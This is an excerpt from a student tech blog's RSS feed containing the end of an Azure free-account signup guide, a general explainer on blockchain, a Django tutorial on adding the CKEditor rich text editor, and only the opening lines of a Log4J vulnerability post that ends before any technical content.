&lt;/ol&gt;

&lt;p&gt;Now, one has to provide a valid email. Make sure you have access to the email you are giving as the verification code will be sent there.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Tip:&lt;/code&gt; I prefer creating a new outlook account for azure and cloud related stuff.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb31lo2jlszlk1dxyim1r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb31lo2jlszlk1dxyim1r.png" alt="Mail Verification" width="661" height="267"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, after getting your mail verified, you will have to provide your card details along with the residential address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5d61sbiandbwewob7wcm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5d61sbiandbwewob7wcm.png" alt="Card Details" width="800" height="366"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fja87rnwdulphygngdeki.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fja87rnwdulphygngdeki.png" alt="Residential Address" width="800" height="761"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So here's something very important-&lt;/strong&gt; only credit cards and that too, credit cards of Visa and MasterCard are accepted in India.&lt;br&gt;
One can try using a debit card. For some of my friends it worked but not for me.&lt;/p&gt;

&lt;p&gt;American Express credit cards are not currently supported as a payment instrument in India.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Tip:&lt;/code&gt; Contacting the Microsoft support team in case your card isn't getting accepted won't help you much. I did the same but after a long mail trail and calls, I finally had to borrow the card from my friend. So if you also don't have a credit card of MasterCard or Visa then you can try borrowing it from friends as I did.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now it's almost done. Check the terms and conditions and  press the next button.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fus1xtek7z65zerms9e6i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fus1xtek7z65zerms9e6i.png" alt="Transaction Fee" width="600" height="563"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It will take a few seconds to re-direct you to your azure portal account..&lt;/p&gt;

&lt;p&gt;and it's done!  &lt;/p&gt;

&lt;p&gt;Now, an azure portal display will appear with your registered email Id at the top right corner and you'll see that you have been credited 200$ in your account for your first month. Now you can start exploring your azure portal.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu6dyh6ctrj44m0306f7n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu6dyh6ctrj44m0306f7n.png" alt="Azure Portal" width="800" height="421"&gt;&lt;/a&gt;&lt;br&gt;
After 1 month this azure free trial subscription will get expired and then you can shift to "Pay as You Go" subscription.&lt;br&gt;
It won't charge much, just max 100 to 150 per month, if you'll use it wisely. &lt;br&gt;
How we can use it will be covered in further blogs. Till then enjoy your free subscription and &lt;strong&gt;explore as much as you can&lt;/strong&gt;!&lt;/p&gt;




&lt;p&gt;This is all for today's blog. Now you can try out creating your azure account.&lt;br&gt;
Incase you still face any error you can try asking me in the comments section.&lt;/p&gt;

&lt;h2&gt;
  
  
  Thank you for you time &amp;amp; ALL THE BEST!
&lt;/h2&gt;

</description>
      <category>azure</category>
      <category>aws</category>
      <category>beginners</category>
      <category>cloud</category>
    </item>
    <item>
      <title>Demystifying Blockchain Technology</title>
      <dc:creator>Narayan Subramanian</dc:creator>
      <pubDate>Sun, 09 Jan 2022 17:02:16 +0000</pubDate>
      <link>https://forem.com/ieeecsvitc/demystifying-blockchain-technology-2gj4</link>
      <guid>https://forem.com/ieeecsvitc/demystifying-blockchain-technology-2gj4</guid>
      <description>&lt;p&gt;&lt;em&gt;Overview:&lt;/em&gt;&lt;br&gt;
To thrive in this rapidly changing &amp;amp; globally competitive environment, businesses have no option but to be agile, resilient &amp;amp; innovative. This calls for digitalization of the processes which has been accelerated by COVID-19 &amp;amp; Industry 4.0.&lt;/p&gt;

&lt;p&gt;The key challenge to digitalization is Data Security &amp;amp; Transparency. To address these challenges Blockchain has emerged as a possible antidote to one of today’s most vexing online business challenges — how to create greater trust, transparency and accountability for all who wish to transact and interact online.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Understanding Blockchain Technology&lt;/li&gt;
&lt;li&gt;Why use Blockchain?&lt;/li&gt;
&lt;li&gt;How does it work?&lt;/li&gt;
&lt;li&gt;What are the opportunities?&lt;/li&gt;
&lt;li&gt;When to use Blockchain?&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Origin and History of Blockchain
&lt;/h2&gt;

&lt;p&gt;In 2008, Satoshi Nakamoto (An Anonymous person/persons), first generated and implemented the first blockchain database as a infrastructure for the bitcoin, the first cryptocurrency ever created.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Satoshi Nakamoto used ‘block’ and ‘chain’ separately in his paper in October 2008&lt;/li&gt;
&lt;li&gt;Later with time, it became a single word ‘blockchain’&lt;/li&gt;
&lt;li&gt;From 2014 onward ‘blockchain 2.0’ is the term being referred to new applications of blockchain.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Role of Blockchain
&lt;/h2&gt;

&lt;p&gt;Industry 4.0, the cause of the fusion of physical and the virtual world has come much forward around the type of technology which have come up around advanced robotics, 3D printing, IOT, Artificial intelligence, big data etc.&lt;/p&gt;

&lt;p&gt;They are the key technologies around, but the problem we have now when we talk of technology which most of us are using  like robotics or data analytics, they have improved the convenience speed and efficiency certainly. But the key thing which we are suffering in the technology is the time of transit from between the transaction and settlement, we have all the best technologies around now-a-days but the time cycle is very long it's more of a linear path then there's a duplication of efforts. For example, If you have 40 or 50 players involved in the whole supply chain each one is maintaining his own ledger then which one is the truth nobody knows it and if information is all centralized and the centralized data can be changed around so the trust is gone anybody can hack into the centralized system that's the way they lack the trust and the data security.&lt;/p&gt;

&lt;p&gt;We are moving toward digital era but people are having worrisome the more we become digital anybody can hack our data so the concept of blockchain basically avoid those issues around, this is how the blockchain come if you look in this the technology enablers which have come from industry 4.0 like IOT, robotic process, 3d printing, augmented reality, cloud, AI, cyber security of which we all are aware, but the cyber security is not serving the purpose around in many places so the blockchain which is overriding you can see it's a new way of securing a trust transferring the values and storing the data the new way means it is not centralized information. Today when I am having 50 or 60 people in the whole supply chain and every information if it is particularly dealing with funds is going to the bank if anything else is going to some other servers and those servers are centralized so anybody can hack and change it but the moment the blockchain concepts come it's a more of a distributed concept so it's not a centralized a decentralized database and the moment it is decentralized it's not easy to change so that's how the blockchain is coming into our industry.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Blockchain ?
&lt;/h2&gt;

&lt;p&gt;In the simplest terms, Blockchain can be described as a data structure that holds transactional records and while ensuring security, transparency, and decentralization. You can also think of it as a chain or records stored in the forms of blocks which are controlled by no single authority. A blockchain is a distributed ledger that is completely open to any and everyone on the network. Once an information is stored on a blockchain, it is extremely difficult to change or alter it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What does it mean to be decentralized?&lt;/strong&gt;&lt;br&gt;
Traditional ledgers are centralized - use 3rd parties and middlemen to approve/record transactions Blockchain distributes ledgers across network or participating node – no central authority required similar to peer-to-peer torrent file sharing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--xhTWC4Rd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p91r67vot6grfwnot6ro.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xhTWC4Rd--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p91r67vot6grfwnot6ro.png" alt="Image description" width="601" height="319"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How does it work?
&lt;/h2&gt;

&lt;p&gt;At its core, blockchain brings together an ecosystem of partners who all choose to collaborate to address inefficiency. There are 4 tenants of the technology that everyone needs to understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shared, Immutable Visibility&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privacy&lt;/strong&gt;: Blockchain Technology leverages years of research and 
development in cryptography.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Smart Contracts&lt;/strong&gt;: Blockchain smart contracts are not legal 
documents so don’t think of it that way.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trust/Consensus&lt;/strong&gt;: Here again, Blockchain leverages cryptography. 
When an event is published to the ledger, the algorithms do a 
couple of things. First, the identity of the participant 
publishing the transaction is validated by other participants.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Blockchain owes its name to the way it stores transaction data – in blocks that are linked together to form a chain. Each block contains a hash &lt;strong&gt;(a digital fingerprint or unique identifier)&lt;/strong&gt;, timestamped batches of recent valid transactions, and the hash of the previous block.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9O62xPk9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wzgunz3tj9eiwi986yqx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9O62xPk9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wzgunz3tj9eiwi986yqx.png" alt="Image description" width="850" height="408"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In a nutshell, here’s how blockchain allows transactions to take place:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A blockchain network  makes use of &lt;strong&gt;public and private keys&lt;/strong&gt; so as to make a digital signature ensuring security and consent.&lt;/li&gt;
&lt;li&gt;Once the authentication is ensured through these keys, the necessity for authorization arises.&lt;/li&gt;
&lt;li&gt;Blockchain allows participants of the network to perform mathematical verification and reach a consensus to agree on any particular value.&lt;/li&gt;
&lt;li&gt;While making a transfer, the sender uses their private key and announces the transaction information over the network. A block is made containing information like digital signature, timestamp, and therefore the receiver’s public key.&lt;/li&gt;
&lt;li&gt;This block of data is broadcasted through the network and therefore the validation process starts.&lt;/li&gt;
&lt;li&gt;Miners all over the network start solving the mathematical puzzle related to the transaction in order to process it. Solving this puzzle requires the miners to take a position their computing power.&lt;/li&gt;
&lt;li&gt;Upon solving the puzzle first, the miner receives rewards within the sort of bitcoins. Such quite problems is mentioned as &lt;strong&gt;proof-of-work&lt;/strong&gt; mathematical problems.&lt;/li&gt;
&lt;li&gt;Once the bulk of nodes within the network come to a consensus and comply with a standard solution, the block is time stamped and added to the prevailing blockchain. This block can contain anything from money to data to messages.&lt;/li&gt;
&lt;li&gt;After the new block is added to the chain, the prevailing copies of blockchain are updated for all the nodes on the network.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Consensus Mechanism
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Proof Of Work&lt;/strong&gt;&lt;br&gt;
Proof of work &lt;strong&gt;(PoW)&lt;/strong&gt; describes a system that requires a not-insignificant but feasible amount of effort in order to deter frivolous or malicious uses of computing power, such as sending spam emails or launching denial of service attacks. The concept was subsequently adapted to securing digital money by Hal Finney in 2004 through the idea of "reusable proof of work" using the SHA-256 hashing algorithm.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TP-n_YOY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/onjsbezmo3vejtqo4otr.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TP-n_YOY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/onjsbezmo3vejtqo4otr.jpg" alt="Image description" width="880" height="603"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Proof Of Stake&lt;/strong&gt;&lt;br&gt;
Proof-of-stake &lt;strong&gt;(PoS)&lt;/strong&gt; reduces the amount of computational work needed to verify blocks and transactions that keep the blockchain, and thus a cryptocurrency, secure. Proof-of-stake changes the way blocks are verified using the machines of coin owners. The owners offer their coins as collateral for the chance to validate blocks. Coin owners with staked coins become "validators."&lt;/p&gt;

&lt;h2&gt;
  
  
  What makes blockchain so lucrative to business?
&lt;/h2&gt;

&lt;p&gt;First of all, it reduces operational costs. The removal of intermediaries may be a boon for business because it not only reduces cost but also reduces the purpose of contact — improving efficiency and growth.&lt;/p&gt;

&lt;p&gt;Transactions speeds also are improved to a replacement height. For businesses, it's all about efficiency if they will keep their accuracy intact. The use-cases also are in favor of business. Some companies have already shown their interest in blockchain. The Dubai Blockchain Strategy is one example, The Dubai Blockchain Strategy will help Dubai to be the first city fully powered by Blockchain and make Dubai the happiest city on earth. The strategy will be using three strategic pillars: government efficiency, industry creation, and international leadership.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iAaZj1wS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6qfimolaegkh595v1reh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iAaZj1wS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6qfimolaegkh595v1reh.png" alt="Image description" width="796" height="681"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How Will Blockchain Disrupt Industries?
&lt;/h2&gt;

&lt;p&gt;Several industries like Unilever, Walmart, Visa, etc. use blockchain technology and have gained benefits in transparency, security, and traceability. Considering the benefits blockchain offers, it will revolutionize and redefine many sectors. &lt;br&gt;
Here are the top 5 prominent industries that will be disrupted by blockchain technology in the near future:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Banking&lt;/li&gt;
&lt;li&gt;Cyber Security&lt;/li&gt;
&lt;li&gt;Supply Chain Management&lt;/li&gt;
&lt;li&gt;Healthcare&lt;/li&gt;
&lt;li&gt;Government&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HMHGAVDr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/43n8vjf8i4wi90par24c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HMHGAVDr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/43n8vjf8i4wi90par24c.png" alt="Image description" width="880" height="269"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This leads us to the end of our article &lt;strong&gt;“Demystifying Blockchain Technology”&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Blockchain is undoubtedly important to our society. It’s an impact on the current industries. It is unparalleled. With the growth of BaaS and other improvements, it is the only time when most of the industry will start adopting blockchain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So, what do you think about blockchain? Do you see the benefits?&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>web3</category>
      <category>baas</category>
    </item>
    <item>
      <title>Integrating Rich Text Editor with Django</title>
      <dc:creator>Onkar Apte</dc:creator>
      <pubDate>Fri, 07 Jan 2022 09:37:09 +0000</pubDate>
      <link>https://forem.com/ieeecsvitc/integrating-rich-text-editor-with-django-k19</link>
      <guid>https://forem.com/ieeecsvitc/integrating-rich-text-editor-with-django-k19</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxyjz1moc45v3cimjsq71.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxyjz1moc45v3cimjsq71.png" alt=" " width="710" height="393"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;C&lt;/strong&gt;reating blogs or article-based tutorials is one of the main aims of every web developer after successful deployment of a website. While it is not easy to create a text editor from scratch using JavaScript, it is certainly possible to make use of well-developed open source text editors. So, in this blog we will be integrating "ck editor" with Django.&lt;/p&gt;

&lt;p&gt;Before we move on, I am assuming that all of the following pre-requisites are satisfied:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A thorough understanding of model forms in Django&lt;/li&gt;
&lt;li&gt;Form rendering in template&lt;/li&gt;
&lt;li&gt;Data models&lt;/li&gt;
&lt;li&gt;Python and Django already installed in system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Alright! So, with the basics covered, let us quickly learn how to integrate "ck editor" with Django. For the sake of simplicity, I have presented the steps with lucrative code examples.&lt;br&gt;
&lt;strong&gt;Step 1&lt;/strong&gt;&lt;br&gt;
In order to use the features of "ck editor", we first must need to install it. The installation is simple: Just execute the below command in the terminal of your Operating System.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install django-ckeditor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In a span of 2-3 minutes, the "ck-editor" would be installed. If it does not, don't worry! Try once again.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;br&gt;
It's time to create a new Django project or to open an existing Django project. Once, you are inside the project look for the &lt;strong&gt;setting.py&lt;/strong&gt; file inside the project folder. Inside the file, again, look for a list named "INSTALLED_APPS". Just like adding a new app in the list, add "ckeditor" to the list.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fujoj6ora1qfd1m7mekv8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fujoj6ora1qfd1m7mekv8.png" alt=" " width="559" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;br&gt;
Now navigate to the &lt;strong&gt;views.py&lt;/strong&gt; file inside the app folder where you wish to include "ck-editor". Inside the &lt;strong&gt;views.py&lt;/strong&gt; file, create a model form linked to one of the models in the &lt;strong&gt;models.py&lt;/strong&gt; file. For instance, I have created a model form named "ArticleForm".&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuxczs5i8ezaqczm1mgz6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuxczs5i8ezaqczm1mgz6.png" alt=" " width="800" height="348"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;&lt;br&gt;
In the same &lt;strong&gt;views.py&lt;/strong&gt; file, inside one of the views where you wish to display the "ck editor", use the model form which you created in the previous step and pass the form to the template through a variable using the render method.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnse9u4j3l3mjjb0fouu3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnse9u4j3l3mjjb0fouu3.png" alt=" " width="800" height="247"&gt;&lt;/a&gt;&lt;br&gt;
Using the &lt;code&gt;form()&lt;/code&gt; method, I have created a new &lt;code&gt;ArticleForm&lt;/code&gt; and then assigned it to a variable simply named "form". At last, I have passed the form to the template &lt;strong&gt;create.html&lt;/strong&gt; as &lt;code&gt;myForm&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt;&lt;br&gt;
Now, we have to decide which field of the form has to be given the "ck editor" features. To do this, open the &lt;strong&gt;models.py&lt;/strong&gt; file inside the app folder in which you wish to add the "ck editor" features. Locate the model and hence, the required field. To this field, assign the &lt;code&gt;RichTextField()&lt;/code&gt; attribute. Make sure to import &lt;code&gt;RichTextField()&lt;/code&gt;.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from ckeditor.fields import RichTextField
class Article(models.Model):
    title = models.CharField(max_length=300)
    user = models.ForeignKey(User, on_delete=models.CASCADE, related_name="creator")
    datePosted = models.CharField(max_length=20, default="")
    timePosted = models.CharField(max_length=20, default="")
    category = models.CharField(max_length=300)
    content = RichTextField(null=True, blank=True, 
    config_name="special", external_plugin_resources=[(
    'youtube', '/static/shareledge/ckeditor-plugins/youtube/youtube/', 'plugin.js',
    )])
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;In my case, I have used the field &lt;code&gt;content&lt;/code&gt;. At this point of time, the use of &lt;code&gt;RichTextField(null=True, blank=True)&lt;/code&gt; would suffice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 6&lt;/strong&gt;&lt;br&gt;
This is the final step. Head over to the template where the form has to be rendered. We know that any form can be rendered in the template using&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fziqphf59kgojt7ef50q0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fziqphf59kgojt7ef50q0.png" alt=" " width="158" height="49"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since, in my case the form is passed as &lt;code&gt;myForm&lt;/code&gt;, I will just render it using&lt;br&gt;
&lt;br&gt;
 &lt;code&gt;{{ myForm }}&lt;/code&gt;&lt;br&gt;
&lt;br&gt;
. In order to add "ck editor" to the template, I will just have to add&lt;br&gt;
&lt;br&gt;
 &lt;code&gt;{{ myForm.media }}&lt;/code&gt;&lt;br&gt;
&lt;br&gt;
 to the code.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbet2ka8tc8d0cxx4ze2q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbet2ka8tc8d0cxx4ze2q.png" alt=" " width="315" height="152"&gt;&lt;/a&gt;&lt;br&gt;
Of course, I will have to customize each field of the form according to my styling preferences. Part of this is shown below.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpkfi4nq159w2emprjyho.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpkfi4nq159w2emprjyho.png" alt=" " width="800" height="291"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That's it! We are done. If we open the webpage, we would be able to see the field rendered as "ck editor".&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5kd0igstf57a644qu4y0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5kd0igstf57a644qu4y0.png" alt=" " width="800" height="499"&gt;&lt;/a&gt;&lt;br&gt;
This field now inherits tons of features such as Bold, Italic, Line spacing, Image insertion, Font colour and much more.&lt;/p&gt;

&lt;p&gt;Additionally, if we look at the admin interface the same field will use the "ck editor" features there itself too.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ia7hodjyvwjko5fncap.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3ia7hodjyvwjko5fncap.png" alt=" " width="800" height="393"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, that's it about this blog. I hope you find the information in this blog useful. Feel free to comment below anything related to the content.  &lt;/p&gt;

</description>
      <category>django</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Understanding and Exploiting Log4J Vulnerability</title>
      <dc:creator>Shivansh Sharma</dc:creator>
      <pubDate>Sat, 25 Dec 2021 19:23:11 +0000</pubDate>
      <link>https://forem.com/ieeecsvitc/understanding-and-exploiting-log4j-vulnerability-28ji</link>
      <guid>https://forem.com/ieeecsvitc/understanding-and-exploiting-log4j-vulnerability-28ji</guid>
      <description>&lt;p&gt;If you are here then you might have already heard of log4j vulnerability. It is the current trending topic in IT domain as this vulnerability made millions of sites vulnerable to RCE(Remote Code Execution). Lets try to understand what is Log4j and what vulnerability is exploited to gain RCE.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Log4J ?
&lt;/h2&gt;

